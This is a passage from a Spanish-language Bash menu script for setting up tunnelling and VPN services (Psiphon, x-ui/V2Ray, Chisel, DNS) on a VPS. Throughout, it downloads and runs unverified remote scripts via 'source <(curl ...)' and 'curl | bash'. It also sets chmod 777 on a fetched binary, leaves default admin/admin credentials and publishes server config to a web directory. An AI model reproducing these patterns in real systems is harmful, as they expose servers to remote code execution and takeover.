prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$umo"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +./psiphond --ipaddress $ship --protocol SSH:$sh --protocol OSSH:$osh --protocol FRONTED-MEEK-OSSH:$fm --protocol UNFRONTED-MEEK-OSSH:$umo generate +chmod 666 psiphond.config +chmod 666 psiphond-traffic-rules.config +chmod 666 psiphond-osl.config +chmod 666 psiphond-tactics.config +chmod 666 server-entry.dat +[[ -e server-entry.dat ]] && { +serverCAT=$(cat server-entry.dat) +cat server-entry.dat > /root/psi/psi.txt +} +screen -dmS psiserver ./psiphond run +cd /root +echo -e "\033[1;33m LA CONFIGURACION DE TU SERVIDOR ES:\033[0m" +msg -bar +echo -e "\033[1;32m ${serverCAT} \033[0m" +msg -bar +echo -e "\033[1;33m PROTOCOLOS HABILITADOS:\033[0m" +echo -e "\033[1;33m ?? SSH:\033[1;32m $sh \033[0m" +echo -e "\033[1;33m ?? OSSH:\033[1;32m $osh \033[0m" +echo -e "\033[1;33m ?? FRONTED-MEEK-OSSH:\033[1;32m $fm \033[0m" +echo -e "\033[1;33m ?? UNFRONTED-MEEK-OSSH:\033[1;32m $umo \033[0m" +msg -bar +echo -e " " +echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m" +msg -bar +[[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && msg -verd " >> SERVIDOR-PSIPHONE INSTALADO CON EXITO <<" || msg -ama " ERROR VERIFIQUE" +msg -bar +read -t 120 -n 1 -rsp $'\033[1;39m Presiona enter para Continuar\n' +fi +} + + desactivar_psiphone() { + clear && clear + msg -bar + echo -e "\033[1;31m DESISNTALANDO PUERTOS UDP-SERVER " + msg -bar + rm -rf /root/psi + kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1>/dev/null 2>/dev/null + killall psiphond 1>/dev/null 2>/dev/null + [[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && echo -e "\033[1;32m >> UDP-SERVER DESINSTALADO CON EXICO << " + read -t 60 -n 1 -rsp $'\033[1;39m << Presiona enter para Continuar >>\n' + menu_inst + } + clear && clear + msg -bar + tittle + msg -ama " PSIPHONE-SERVER | @ChumoGH" + msg -bar + if [[ ! -e /bin/psiphond ]]; then + curl -o /bin/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond &>/dev/null + chmod 777 /bin/psiphond + fi + echo -ne " \e[1;93m [\e[1;32m1\e[1;93m]\033[1;31m > \e[1;97m INSTALAR SERVER-PSIPHONE \e[97m \n" + echo -ne " \e[1;93m [\e[1;32m2\e[1;93m]\033[1;31m > \033[1;97m DETENER SERVER-PSIPHONE \e[97m \n" + msg -bar + echo -ne " \e[1;93m [\e[1;32m0\e[1;93m]\033[1;31m > \033[1;97m" && msg -bra " \e[97m\033[1;41m VOLVER \033[1;37m" + msg -bar + echo -ne "\033[1;97m OPCION:\e[32m " + read opcao + case $opcao in + 1) + msg -bar + install_psiphone + ;; + 2) + msg -bar + desactivar_psiphone + ;; + *) + echo -e "$ SOLO OPCION ENTRE [0-2]" + msg -bar + ;; + esac + +} + + +function psiservernew(){ +clear&&clear +msg -bar +msg -ama " BINARIO OFICIAL DE Epro Dev Team" +msg -bar +echo -e "\033[1;33m SE RECOMIENDA : HTTP-OSSH 80 y OSSH 443\033[0m" +echo -e "\033[1;33m HABILITAREMOS SERVIDOR PSIPHON SERVER CUSTOM MOD\033[0m" +echo -e "\033[1;33m SI TIENES UNA CONFIG PREVIA, SE SOBREESCRIBIRA CON ESTA\033[0m" +echo -e "\033[1;33m SE RECOMIENDA VERIFICAR EL PANNEL DE PUERTOS \033[0m" +echo -e "\033[1;33m Y CHECAR LOS PUERTOS QUE VALLAS A UTILIZAR\033[0m" +msg -bar +echo -e "\033[1;33m ACEPTAS CONTINUAR?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +rm -rf /root/psi 2>/dev/null +rm /root/psi.txt 2>/dev/null +rm /var/www/html/psi.txt 2>/dev/null +cd /root +mkdir psi +cd psi +wget 'https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/binarios/Psiphond-Epro/psiphond' -O '/root/psi/psiphond' 2> /dev/null +cd /root/psi +chmod 775 /root/psi/psiphond +#1 + while true; do + echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-HTTP-OSSH:\033[0m" + read -p " Listen-P-OSSH: " httposh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $httposh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$httposh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +#FIN 1 +#2 + while true; do + echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-OSSH:\033[0m" + read -p " Listen-P-OSSH: " osh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +#FIN 2 + +cd /root/psi +[[ -e /root/psi/server-entry.dat ]] && { +echo -e " CONFIGURACION BASE REUTILIZADA !!!" +} || { +/root/psi/psiphond --ipaddress 0.0.0.0 --protocol FRONTED-MEEK-HTTP-OSSH:$httposh --protocol FRONTED-MEEK-OSSH:$osh generate + [[ -e /root/psi/psiphond.config ]] && { + _ruta='/root/psi/' + psi1='psiphond-tactics.config' + psi2='psiphond-traffic-rules.config' + psi3='psiphond-osl.config' + #psi4='psiphond-traffic-rules.config' + sed -i "s%${psi1}%${_ruta}${psi1}%g" /root/psi/psiphond.config + sed -i "s%${psi2}%${_ruta}${psi2}%g" /root/psi/psiphond.config + sed -i "s%${psi3}%${_ruta}${psi3}%g" /root/psi/psiphond.config + #sed -i "s%${psi4}%${_ruta}${psi4}%g" /root/psi/psiphond.config + } + +} +cat /root/psi/server-entry.dat >> /root/psi.txt + msg -bar + msg -azu "... ACIVANDO PSISERVER _..." +if screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run ; then + #------------------------- + [[ $(grep -wc "psiserver" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot + } || { + sed -i '/psiserver/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot + } + crontab -l > /root/cron +#echo "@reboot /bin/autoboot" >> /root/cron + crontab /root/cron + service cron restart + rm -f /root/cron +#------------------------- + msg -verd " Con Exito!!!" + msg -bar + else + msg -verm " Con Fallo!!!" + msg -bar + fi +cd /root + +#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq) +#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)" +psi=`cat /root/psi.txt` +echo -e "\033[1;33m SERVER CONFIG:\033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;32m $psi \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m PROTOCOLOS:\033[0m" +echo -e "\033[1;33m FRONTED-MEEK-OSSH:\033[1;32m $httposh \033[0m" +echo -e "\033[1;33m OSSH:\033[1;32m $osh \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e " " +echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m" +[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || { +IP="$(cat < /bin/ejecutar/IPcgh)" +cp /root/psi.txt /var/www/html/psi.txt +echo -e "\033[1;33m RUTA PUBLICA DE CONFIG GENERADA:\033[1;32m http://$IP:${portFTP}/psi.txt \033[0m" +} +fi +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSI DESEAS REINICIAR ESTE SERVICIO " + echo -e " SE RECOMIENDA SOLO IR AL MENU PRINCIPAL" + echo -e " MENU 7, OPCION 1, SUBOBCION 1" + echo -e " REINICIARAS TODOS LOS SERVICIOS SIN REINICIAR." + echo -e " TU SERVIDOR VPS\033[0m" +msg -bar +} + + +antiddos (){ +if [ -d '/usr/local/ddos' ]; then + if [ -e '/usr/local/sbin/ddos' ]; then + rm -f /usr/local/sbin/ddos + fi + if [ -d '/usr/local/ddos' ]; then + rm -rf /usr/local/ddos + fi + if [ -e '/etc/cron.d/ddos.cron' ]; then + rm -f /etc/cron.d/ddos.cron + fi + sleep 1s + msg -bar + echo -e "\033[1;31m ANTIDDOS DESINSTALADO CON EXITO\033[1;37m" + msg -bar + return 1 +else + mkdir /usr/local/ddos +fi +wget -q -O /usr/local/ddos/ddos.conf https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/ADM-MANAGER-MOD/master/DDOS/ddos.conf -o /dev/null +wget -q -O /usr/local/ddos/LICENSE http://www.inetbase.com/scripts/ddos/LICENSE -o /dev/null +wget -q -O /usr/local/ddos/ignore.ip.list http://www.inetbase.com/scripts/ddos/ignore.ip.list -o /dev/null +wget -q -O /usr/local/ddos/ddos.sh http://www.inetbase.com/scripts/ddos/ddos.sh -o /dev/null +chmod 0755 /usr/local/ddos/ddos.sh +cp -s /usr/local/ddos/ddos.sh /usr/local/sbin/ddos +/usr/local/ddos/ddos.sh --cron > /dev/null 2>&1 +sleep 2s +msg -bar +echo -e "\033[1;32m ANTIDDOS INSTALADO CON EXITO.\033[1;37m" +msg -bar +} + +v2ui() { +cd $HOME +fun_ip(){ +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' +last_version=$(curl -Ls "https://api.github.com/repos/vaxilu/x-ui/releases/latest" | grep 'V' | sed -E 's/.*"([^"]+)".*/\1/') +MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MIP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" +} +kill -9 $(ps x|grep -v grep|grep "xray-linu"|awk '{print $1}') +kill -9 $(ps x|grep -v grep|grep "x-ui"|awk '{print $1}') +bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) +fun_ip +autogen() { +x-ui start > /dev/null 2>&1 +x-ui enable > /dev/null 2>&1 +[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui +[[ -d /etc/x-ui ]] && cd /etc/x-ui +openssl genrsa -out key.key 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"; echo ""; echo "$(cat < /bin/ejecutar/IPcgh):81"; echo ""; echo ""; echo ""; echo "@ChumoGH")|openssl req -new -x509 -key /etc/x-ui/cert.key -out /etc/x-ui/cert.crt -days 1095 > /dev/null 2>&1 +cd $HOME +fun_bar +echo -e "CERTIFICADO GENERADO" +} +creargen(){ +x-ui start +x-ui enable +[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui > /dev/null 2>&1 +[[ -d /etc/x-ui ]] && cd /etc/x-ui > /dev/null 2>&1 +openssl genrsa 2048 > key.key +openssl req -new -key key.key -x509 -days 1000 -out cert.crt +#[[ -e /etc/x-ui/key.key ]] && cp /etc/x-ui/key.key /etc/x-ui/cert.key +#[[ -e /etc/x-ui/cert.crt ]] && cp /etc/x-ui/cert.crt /etc/x-ui/cert.crt +fun_bar +echo -e "CERTIFICADO GENERADO" +} +certdom () { +[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui +[[ -d /etc/x-ui ]] && cd /etc/x-ui +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh) +[[ -e /data/cert.crt && -e /data/cert.key ]] && { +cat /data/cert.key > /etc/x-ui/cert.key +cat /data/cert.crt > /etc/x-ui/cert.crt +echo -e "CERTIFICADO GENERADO" +} || { +echo -e " ERROR AL CREAR CERTIFICADO " +} + +certweb () { +[[ -e /etc/x-ui/cert.key && -e /etc/x-ui/cert.crt ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/x-ui/cert.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt > /etc/x-ui/cert.crt && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +} +} + +act_gen () { +v2ray-cgh="/etc/x-ui" > /dev/null 2>&1 +while [[ ${varread} != @([0-5]) ]]; do +echo -e "\033[1;33mv2-ui v${last_version}${plain} La instalación está completa y el panel se ha activado??" +systemctl daemon-reload +systemctl enable x-ui +systemctl start x-ui +echo -e "" +echo -e " Si se trata de una nueva instalación \n El puerto web predeterminado es ${green}54321${plain}，\n El nombre de usuario y la contraseña son ambos predeterminados ${green}admin${plain}" +echo -e " Asegúrese de que este puerto no esté ocupado por otros programas，\n${yellow}Asegúrate 65432 El puerto ha sido liberado${plain}" +echo -e " Si desea modificar 65432 a otro puerto, \n ingrese el comando x-ui para modificarlo, \n y también asegúrese de que el puerto que modifica también esté permitido" +echo -e "" +echo -e "Si es un panel de actualización, acceda al panel como lo hizo antes, \n A continuacion crearemos su Certificado SSL" +echo -e "" +msg -bar +echo -e " WELCOME TO V2RAY-UI, MOD ChumoGH-ADM \n \033[1;36mREAD THE INSTRUCTIONS CAREFULLY BEFORE CONTINUING....." +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#EXPERIMENTAL)" +msg -bar +echo -e " \033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m Regresar" +msg -bar +echo -ne "${cor[6]}" +read -p " Opcion : " varread +done +msg -bar +if [[ ${varread} = 0 ]]; then +return 0 +elif [[ ${varread} = 1 ]]; then +autogen +elif [[ ${varread} = 2 ]]; then +creargen +elif [[ ${varread} = 3 ]]; then +certweb +elif [[ ${varread} = 4 ]]; then +certdom +fi +} +act_gen +clear&&clear +msg -bar +echo -e "\033[1;36m 1). -PRIMER PASO -" +msg -bar +echo -e "\n Desde Cualquier Navegador WEB | \nAccede con \033[1;32m http://$IP:54321 \033[1;31m " +msg -bar +echo -e "\033[1;32m 2). -SEGUNDO PASO -" +msg -bar +echo -e "\nUSUARIO \033[1;32m admin\033[1;33m PASSWD \033[1;31m admin\033[1;31m " +msg -bar +echo -e "\033[1;32m 3). -TERCER PASO -" +msg -bar +echo -e "\033[1;34mEn \033[1;32maccounts\033[1;31m añade en \033[1;32m+\033[1;31m y fijate " +msg -bar +echo -e "\033[1;32m 4). -CUARTO PASO -" +msg -bar +echo -e "\033[1;31mAsegurate de Activar el \033[1;31mTLS" +msg -bar +echo -e "\033[1;32m 5). -QUINTO PASO -" +msg -bar +echo -e "\033[1;31m Escoje tu Protocolo ADECUADO, \n Y en DOMAIN tu dominio" +msg -bar +echo -e "\033[1;32m 6). -SEXTO PASO -" +msg -bar +echo -e "\033[1;31m En cert file path : \033[1;33m/etc/x-ui/cert.crt " +echo -e "\033[1;31m En key file path : \033[1;33m/etc/x-ui/cert.key " +msg -bar +echo -e "\033[1;32m 7). -SEPTIMO PASO -" +msg -bar +echo -e "\033[1;32m💥 ASEGURATE DE MODIFICAR EL USUARIO Y PUERTO DE ACCESO 💥" +msg -bar +echo -e "\033[1;32m 8). -Añade mas Perfiles, Si deseas!! -" +msg -bar +echo -e "\033[1;32m 9). -DISFRUTA TU CONFGURACION SI TODO ES CORRECTO -" +msg -bar +echo -e "\033[1;32m 9). - Si deseas acceder al PANNEL teclea \033[1;35mx-ui \033[1;32men consola -" +msg -bar +echo -e " MANUAL EN EL PORTAL https://seakfind.github.io/2021/10/10/X-UI/ " +msg -bar +curl -o /usr/bin/x-ui -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/x-ui.sh +chmod +x /usr/bin/x-ui + +msg -ama " UNLOCK SYSTEMCTL ...." + if systemctl daemon-reload &> /dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar +fi +msg -ama " HABILITANDO X-UI ...." + if systemctl x-ui enable &> /dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar +fi + +msg -ama " Reiniciando X-UI ...." + if systemctl x-ui restart &> /dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar +fi + +[[ -f "/usr/sbin/ufw" ]] && ufw allow 54321/tcp 1> /dev/null 2> /dev/null +} + +v2ray-socket() { +msg -bar +echo -e "MOTOR DE INSTALACION DE PANNEL WEB Y CONSOLA DE V2RAY Y XRAY" +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Original (Todo en Consola) \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Rufu99 Mod @ChumoGH \033[0;32m(#OFICIAL) " #\033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Reforma @ChumoGH \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Pannel WEB ( X-RAY ) Traduccion @ChumoGH \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m${flech}\033[0;33m REMOVED V2RAY BASE " +#echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m${flech}\033[0;33m FIX PARA INSTALLS FAILS DE V2RAY " +msg -bar +selection=$(selection_fun 7) +case ${selection} in +1) +[[ -e /etc/v2ray/config.json ]] && v2r.sh || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray.sh) +;; +2) +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray_manager.url.sh) +;; +3) +unset yesno +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +echo "DESEAS ENTRAR AL MENU PASO A PASO " +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +echo 'source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu +chmod +x /bin/v2ray.menu +v2ray.menu +else +v2ray +fi +exit +;; +4) +[[ -e /usr/bin/x-ui ]] && x-ui || v2ui +;; +5) +source <(curl -sL https://multi.netlify.com/v2ray.sh) --remove +source <(curl -sL https://git.io/fNgqx) --remove +rm -rf /usr/local/V2ray.Fun +rm -f /etc/v2ray/* +rm -rf /etc/v2ray/ +exit +;; +99) +msg -bar +echo -e "" +echo -e " ESTE PROCESO PUEDE DEMORAR UN POCO " +echo -e "" +echo -e " LE RECOMENDAMOS SER PACIENTE DURANTE EL PROCESO" +echo "" +read -p "PRESIONE ENTER PARA COMENZAR" +_fix_() { +apt update +sudo apt install software-properties-common +sudo add-apt-repository ppa:deadsnakes/ppa +apt update +sudo apt install python3.7 -y +python3.7 --version +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 2 +sudo update-alternatives --config python3 +python3.7 -m pip install pip +sudo apt-get install -y build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev zlib1g-dev openssl libffi-dev python3-dev python3-setuptools wget +mkdir /tmp/Python37 +cd /tmp/Python37 +wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz +tar xvf Python-3.7.0.tar.xz +cd /tmp/Python37/Python-3.7.0 +./configure +sudo make altinstall + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 +} +function aguarde() { + helice() { + _fix_ >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m FIXEANDO PYTHON 3.7 \033[1;32mV2RAY \033[1;37m. \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} +echo -e " ESTE PROCESO DEMORARA UN POCO, TENGA PACIENCIA!!!" +echo -e "" +aguarde +#clear&&clear +msg -bar +echo -e "" +echo -e " ESTE PROCESO FINALIZO " +echo -e "" +echo -e " PRUEBE INSTALAR V2RAY NUEVAMENTE" +echo "" +;; +*) +return 0 +;; +esac +} + +fun_openvpn () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/openvpn.sh) +} + +function tcpd(){ +echo -e "A continuacion se instalara el TCP DNS" +echo -e "Este paquete solo funcionara en Debian/Ubuntu" +echo -e "AVISO!!!" +echo -e "Para realizar la instalacion de TCP DNS" +echo -e "Debes configurar previamente tu DNS/Dominio" +echo -e "Si aun no lo haz configurado el DNS/Dominio" +echo -e "Presiona CTRL + C para cancelar la instalacion" +echo -e "Si ya configuraste tu DNS/Dominio Correctamente, presiona ENTER" +read -p " " +echo -e "Espera un momento..." +echo -e "Limpiando DNS Primario..." +sleep 1 +sed -i '/DNSStubListener/d' /etc/systemd/resolved.conf +echo -e "Agregando Fix DNS Primario..." +sleep 1 +echo "DNSStubListener=no" >> /etc/systemd/resolved.conf +echo -e "Reiniciando DNS Primario..." +sleep 1 +ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf +systemctl restart systemd-resolved +echo -e "Instalando paquetes Necesarios, espere... " +sleep 1 +apt-get install python-pip -y 1> /dev/null 2> /dev/null +apt-get install libevent-dev -y 1> /dev/null 2> /dev/null +apt-get install python-gevent -y 1> /dev/null 2> /dev/null +apt-get install python-daemon -y 1> /dev/null 2> /dev/null +git clone https://github.com/henices/Tcp-DNS-proxy.git 1> /dev/null 2> /dev/null +cd Tcp-DNS-proxy/ +wget https://raw.githubusercontent.com/serverdensity/python-daemon/master/daemon.py +chmod +x ./install.sh +./install.sh +screen -dmS tcpdns python tcpdns.py -f tcpdns.json.example +cd /root +echo -e "TCP DNS Instalado" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +return 0 +} + +slow-dns () { +clear&&clear +apt-get install ncurses-utils > /dev/null 2>&1 +msg -bar +[[ ! -d /ADMcgh/slow/ ]] && mkdir -p /ADMcgh/slow/ +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/SlowDNS.sh) +} + +_funUDP () { +[[ -e /tmp/udpSS ]] && bash /tmp/udpSS || { +wget -q -O /tmp/udpSS https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/UDPserver.sh +bash /tmp/udpSS +} +rm -f /tmp/udpSS +} + +function dnsserver(){ +echo -e "Instalando DNS Server" +curl -sSL https://download.technitium.com/dns/install.sh | bash 1> /dev/null 2> /dev/null +echo -e "Actualizando DNS del Servidor" +echo -e "DNS Server Instalado" +echo -e "Consola Web DNS Server: http://$(cat < /bin/ejecutar/IPcgh):5380/" +echo -e "No olvide establecer su password admin del Panel" +} + + +fun_chisel() { + cor1='\033[41;1;37m' + cor2='\033[44;1;37m' + scor='\033[0m' + GREEN='\033[1;32m' + YELLOW='\033[1;33m' + SCOLOR='\033[0m' + echo -e "\E[44;1;37m GERENCIAR CHISEL \E[0m" + echo "" + + + [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && { + sks='\033[1;32mON' + echo -e "\033[1;33mPORTAS\033[1;37m: \033[1;32m$(netstat -nplt | grep 'docker' | awk {'print $4'} | cut -d: -f2 | xargs)" + } || { + sks='\033[1;31mOFF' + } + [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && { + chiselsts="\033[1;32m?? " + } || { + chiselsts="\033[1;31m?? " + } + echo "" + echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m?? \033[1;33mATIVAR CHISEL $chiselsts \033[0m" + echo -e "\033[1;31m[\033[1;36m2\033[1;31m] \033[1;37m?? \033[1;33mREINICIAR CHISEL\033[0m" + echo -e "\033[1;31m[\033[1;36m0\033[1;31m] \033[1;37m?? \033[1;33mVOLTAR\033[0m" + echo "" + echo -ne "\033[1;32mRaj, escolhe uma carta \033[1;33m?\033[1;37m " + read resposta + if [[ "$resposta" = '1' ]]; then + if netstat -nltp | grep 'docker' 1>/dev/null 2>/dev/null; then + clear + echo -e "\E[41;1;37m CHISEL \E[0m" + echo "" + fun_chiseloff() { + docker stop chisel + docker rm chisel + docker.io stop chisel + docker.io rm chisel + + } + echo -e "\033[1;32mDESACTIVANDO CHISEL\033[1;33m" + echo "" + fun_bar 'fun_chiseloff' + echo "" + echo -e "\033[1;32mCHISEL DESACTIVADO CON EXITO!\033[1;33m" + sleep 3 + fun_chisel + else + clear + fun_installdocker() { + _pacotes=("docker" "docker.io") + for _prog in ${_pacotes[@]}; do + apt install $_prog -y + done + } + echo -e "\n${YELLOW}ESTEJA CIENTE QUE ESSE METODO É INSTAVEL\nPODE OU NÃO FUNCIONAR NA SUA MAQUINA\nFIQUE CIENTE DOS RISCOS ! ${SCOLOR}\n" + echo -ne "${GREEN}DESEJA CONTINUAR A INSTALACAO ? ${YELLOW}[s/n]:${SCOLOR} " + read resp + [[ "$resp" != @(s|sim|S|SIM) ]] && { + echo -e "\n${RED}Retornando...${SCOLOR}" + sleep 2 + conexao + } + echo -e "\n\033[1;32mSOPORTE A Ubuntu 16+ \033[1;33m" + echo -e "\n\033[1;32mINSTALANDO O CHISEL !\033[1;33m" + echo "" + fun_bar 'fun_installdocker' + clear + echo -e "\E[44;1;37m CHISEL \E[0m" + echo "" + echo -ne "\033[1;32mCUAL PORTA DESEA ULTILIZAR \033[1;33m?\033[1;37m: " + read porta + [[ -z "$porta" ]] && { + echo "" + echo -e "\033[1;31mPUERTO INVALIDO!" + sleep 3 + clear + fun_chisel + } + verif_ptrs $porta + clear + echo -ne "\033[1;32mNOMBRE DE USUARIO:\033[1;37m ";read username + [[ -z $username ]] && { + echo -e "\n${cor1}NO INGRESO NOMBRE DE USUARIO!${scor}\n" + fun_chisel + } + [[ ${username} != ?(+|-)+([a-zA-Z0-9]) ]] && { + echo -e "\n${cor1}SU NOMBRE DE USUARIO ES INCORRECTO!${scor}" + echo -e "${cor1}NO 